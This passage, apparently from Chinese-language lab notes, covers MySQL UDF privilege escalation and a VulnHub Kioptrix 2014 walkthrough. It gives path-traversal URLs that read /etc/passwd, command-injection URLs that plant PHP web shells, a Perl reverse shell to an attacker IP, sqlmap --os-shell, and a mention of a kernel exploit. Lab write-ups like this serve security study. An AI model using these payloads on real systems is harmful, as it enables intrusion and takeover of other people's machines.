&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;show&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;variables&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;like&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;secure_file_priv&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;select&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;@@&lt;/span&gt;&lt;span class="n"&gt;version_compile_os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;@@&lt;/span&gt;&lt;span class="n"&gt;version_compile_machine&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250221170351077" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221170351077.png"&gt;&lt;/p&gt;
&lt;p&gt;这个属性为空值就可以提权。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221170434692" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221170434692.png"&gt;&lt;/p&gt;
&lt;p&gt;不太确认用哪个了，而且plung目录似乎没有，这个方法不行。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221172430058" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221172430058.png"&gt;&lt;/p&gt;
&lt;h3 id="udf提权方法2-sys_exec函数提权"&gt;UDF提权方法2-sys_exec函数提权
&lt;/h3&gt;&lt;p&gt;sys_exec可以使用系统命令，直接把john加管理员里。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;select&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mysql&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;select&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sys_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;usermod -a -G admin john&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250221170759716" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221170759716.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221171126775" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221171126775.png"&gt;&lt;/p&gt;
&lt;h3 id="udf提权方法3-sqlmap提权"&gt;udf提权方法3-sqlmap提权
&lt;/h3&gt;&lt;p&gt;以上是手动写入的方法，以下是sqlmap自动写入的方法，sqlmap使用前提是知道账号密码。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sqlmap -d &lt;span class="s2"&gt;&amp;#34;mysql://root:@192.168.139.133:3306/mysql&amp;#34;&lt;/span&gt; --os-shell
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250221171429958" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221171429958.png"&gt;&lt;/p&gt;
&lt;p&gt;此处应用失败是因为靶机的mysql端口没有打开，只是在内部访问。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221171725641" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221171725641.png"&gt;&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;2025年2月21日 17点27分&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="kioptrix-2014-5"&gt;&lt;a class="link" href="https://www.vulnhub.com/entry/kioptrix-2014-5,62/" target="_blank" rel="noopener"
 &gt;Kioptrix: 2014 (#5)&lt;/a&gt;
&lt;/h2&gt;
 &lt;blockquote&gt;
 &lt;p&gt;2025年2月22日14点04分&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;官方推荐的靶场笔记博客 &lt;a class="link" href="https://www.abatchy.com/2017/01/kioptrix-2014-5-walkthrough-vulnhub.html" target="_blank" rel="noopener"
 &gt;https://www.abatchy.com/2017/01/kioptrix-2014-5-walkthrough-vulnhub.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;打开靶机，扫描靶机。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250222141639165" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250222141639165.png"&gt;&lt;/p&gt;
&lt;p&gt;端口，ssh没有开放，就一个80和8080端口开放。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250222142146186" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250222142146186.png"&gt;&lt;/p&gt;
&lt;p&gt;主页就一个静态网页。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250222141742746" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250222141742746.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250222142227341" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250222142227341.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250222141958434" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250222141958434.png"&gt;&lt;/p&gt;
&lt;p&gt;curl网页源码发现一个应该是框架的东西&lt;code&gt;pChart&lt;/code&gt;从名字看应该改是画图之类的东西。搜索相关利用漏洞，只有一个。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250222145855558" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250222145855558.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250222150208066" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250222150208066.png"&gt;&lt;/p&gt;
&lt;p&gt;先测试一下能不能打开这个网页，如果打不开，Vmware提示什么FreeBSD tools更新之类的是vmware犯病，不用管也不用更新，重启靶机就行。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250222151522359" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250222151522359.png"&gt;&lt;/p&gt;
&lt;p&gt;然后就能用这个漏洞看文件了，看密码，看apache配置。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.139.134/pChart2.1.3/examples/index.php?Action=View&amp;amp;Script=%2f..%2f..%2fetc/passwd
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.139.134/pChart2.1.3/examples/index.php?Action=View&amp;amp;Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
 &lt;blockquote&gt;
 &lt;p&gt;2025年2月22日 15时18分&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;之前能打开一次，估计时靶机有问题，然后vmware老提示FreeBSD tools安装的问题，不确定是哪一个，重新下载&lt;a class="link" href="https://download.vulnhub.com/kioptrix/kiop2014_fix.zip" target="_blank" rel="noopener"
 &gt;官方镜像&lt;/a&gt;，然后安装&lt;a class="link" href="https://download.virtualbox.org/virtualbox/7.1.6/VirtualBox-7.1.6-167084-Win.exe" target="_blank" rel="noopener"
 &gt;VBox&lt;/a&gt; 和&lt;a class="link" href="https://download.virtualbox.org/virtualbox/7.1.6/Oracle_VirtualBox_Extension_Pack-7.1.6.vbox-extpack" target="_blank" rel="noopener"
 &gt;相关插件&lt;/a&gt;再试试，我看官网是用Vbox 的。还有可能是劫持问题。后面试了有觉得可能是因为刷靶机中途开了加速器玩了几把Kards，开加速器的时候把代理干废了，然后就登不上了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224142151596" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224142151596.png"&gt;&lt;/p&gt;
&lt;p&gt;是玩游戏导致代理混乱，重新在BurSuit中配置代理的方法。这个是我翻墙的代理，平时都开着。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224163151192" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224163151192.png"&gt;&lt;/p&gt;
&lt;p&gt;burp连代理有时候不成功，多试几次，可能是因为机场问题，检查一下机场节点是不是超过300ms了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224163400792" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224163400792.png"&gt;&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;2025年2月24日 14点25分&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="image-20250224142556577" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224142556577.png"&gt;&lt;/p&gt;
&lt;p&gt;就是代理问题，回头要重新配代理，刷靶机的时候不要瞎玩游戏。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224144049960" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224144049960.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224144033567" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224144033567.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到服务器配置信息里写了，配置信息里写了用mozilla的请求头就可以访问8080&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224144730129" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224144730129.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224144910843" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224144910843.png"&gt;&lt;/p&gt;
&lt;p&gt;如果没有安装hackbar，也可以用curl方法判断。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224145001566" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224145001566.png"&gt;&lt;/p&gt;
&lt;p&gt;搜索并下载相关poc。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224145247995" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224145247995.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224145630201" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224145630201.png"&gt;&lt;/p&gt;
&lt;p&gt;这里他给出了漏洞原理是phptax有个漏洞，就可以利用这个漏洞执行命令。这里恶意代码执行的是&lt;code&gt;nc -l -v -p 23235 -e /bin/bash&lt;/code&gt;，需要在攻击机上启动nc监听端口来接收反弹的shell。但是，我查了网上的一些攻略帖子说nc bash php python都弹不回来，可能是靶机没有这几个命令或者限制用这几个命令。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224145610187" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224145610187.png"&gt;&lt;/p&gt;
&lt;h3 id="链接靶机"&gt;链接靶机
&lt;/h3&gt;&lt;h4 id="方法1一句话木马链接蚁剑终端"&gt;方法1：一句话木马链接蚁剑终端
&lt;/h4&gt;&lt;p&gt;先测试靶机能不能执行命令。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.139.134:8080/phptax/drawimage.php?pfilez&lt;span class="o"&gt;=&lt;/span&gt;xxx&lt;span class="p"&gt;;&lt;/span&gt;ls%20-al%20%3e1.txt&lt;span class="p"&gt;;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;pdf&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;make
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250224150929610" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224150929610.png"&gt;&lt;/p&gt;
&lt;p&gt;或者在BurpSuit里面抓包后send&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224164601194" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224164601194.png"&gt;&lt;/p&gt;
&lt;p&gt;把一句话木马加工到上面的连接中&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&amp;lt;?php system&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;cmd&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;])&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.139.134:8080/phptax/drawimage.php?pfilez&lt;span class="o"&gt;=&lt;/span&gt;xxx&lt;span class="p"&gt;;&lt;/span&gt;ls%20-al%20%3e1.txt&lt;span class="p"&gt;;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;pdf&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;make
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.139.134:8080/phptax/drawimage.php?pfilez&lt;span class="o"&gt;=&lt;/span&gt;xxx&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;lt;?php system($_GET[&amp;#34;cmd&amp;#34;]);?&amp;gt;&amp;#39;&lt;/span&gt; &amp;gt; 222.php&lt;span class="p"&gt;;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;pdf&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;make
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.139.134:8080/phptax/drawimage.php?pfilez&lt;span class="o"&gt;=&lt;/span&gt;xxx&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;lt;?php system($_REQUEST[&amp;#34;cmd&amp;#34;]);?&amp;gt;&amp;#39;&lt;/span&gt; &amp;gt; ant.php&lt;span class="p"&gt;;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;pdf&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;make
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250224165052724" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224165052724.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224165216760" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224165216760.png"&gt;&lt;/p&gt;
&lt;p&gt;然后再执行一次ls看1.txt里面有111.php了。然后也能成功执行命令。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224171002435" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224171002435.png"&gt;&lt;/p&gt;
&lt;p&gt;蚁剑安装包：https://www.yuque.com/antswordproject/antsword/srruro&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;2025年2月24日 18点04分&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;也可关注公众号&lt;code&gt;泷羽Sec-静安&lt;/code&gt;，后台回复&lt;code&gt;找工具+Day4&lt;/code&gt;获取。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;2025年2月25日 9点15分&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.139.134:8080/phptax/drawimage.php?pfilez&lt;span class="o"&gt;=&lt;/span&gt;xxx&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;lt;?php system($_REQUEST[&amp;#34;cmd&amp;#34;]);?&amp;gt;&amp;#39;&lt;/span&gt; &amp;gt; ant.php&lt;span class="p"&gt;;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;pdf&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;make
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;注意，蚁剑要用上面这句&lt;code&gt;_REQUEST&lt;/code&gt;生成的木马php才可以连成功。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250225094453177" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250225094453177.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250225094735151" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250225094735151.png"&gt;&lt;/p&gt;
&lt;h4 id="方法2perl弹nc反连"&gt;方法2：perl弹nc反连
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -lvnp &lt;span class="m"&gt;4777&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;perl -MIO -e &lt;span class="s1"&gt;&amp;#39;$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,&amp;#34;192.168.139.128:4777&amp;#34;);STDIN-&amp;gt;fdopen($c,r);$~-&amp;gt;fdopen($c,w);system$_ while&amp;lt;&amp;gt;;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.139.134:8080/phptax/drawimage.php?pfilez&lt;span class="o"&gt;=&lt;/span&gt;xxx&lt;span class="p"&gt;;&lt;/span&gt;perl -MIO -e &lt;span class="s1"&gt;&amp;#39;$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,&amp;#34;192.168.139.128:4777&amp;#34;);STDIN-&amp;gt;fdopen($c,r);$~-&amp;gt;fdopen($c,w);system$_ while&amp;lt;&amp;gt;;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;pdf&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;make
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250225095238148" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250225095238148.png"&gt;&lt;/p&gt;
&lt;h4 id="方法3msf全家桶一键不推荐考试只有一次机会"&gt;方法3：msf全家桶一键（不推荐考试只有一次机会）
&lt;/h4&gt;&lt;p&gt;&lt;img alt="image-20250226163339507" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250226163339507.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250226163622331" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250226163622331.png"&gt;&lt;/p&gt;
&lt;p&gt;不知道为什么没有终端传过来，可能是msf版本问题，外国人写的几个教程都比较老了21年以前的msf。msf版本更新是会出现一些打不进去的情况。要多走几条路，条条大路通罗马，根根网线通靶机。&lt;/p&gt;
&lt;h3 id="提权"&gt;提权
&lt;/h3&gt;&lt;p&gt;&lt;img alt="image-20250225095717745" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250225095717745.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250225095812064" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250225095812064.png"&gt;&lt;/p&gt;
&lt;p&gt;用&lt;code&gt;26368.c&lt;/code&gt;，这里注意检查一下靶机上有没有gcc，有的话就先传c文件，到靶机编译。然后顺带查一下有哪些传文件的命令，有nc和ftp可以用。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250225100125916" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250225100125916.png"&gt;&lt;/p&gt;
&lt;p&gt;新版的kali直接开ftp服务器有点问题，提示要下载包，但是下载也有问题。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250225101318246" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250225101318246.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo apt install pipx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;pipx ensurepath
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;pipx install pyftpdlib
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;pipx run pyftpdlib --directory&lt;span class="o"&gt;=&lt;/span&gt;. --port&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;2121&lt;/span&gt; --write
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;或者传到Windows本机物理机上的终端开ftp。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;pip install pyftpdlib
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; python -m pyftpdlib
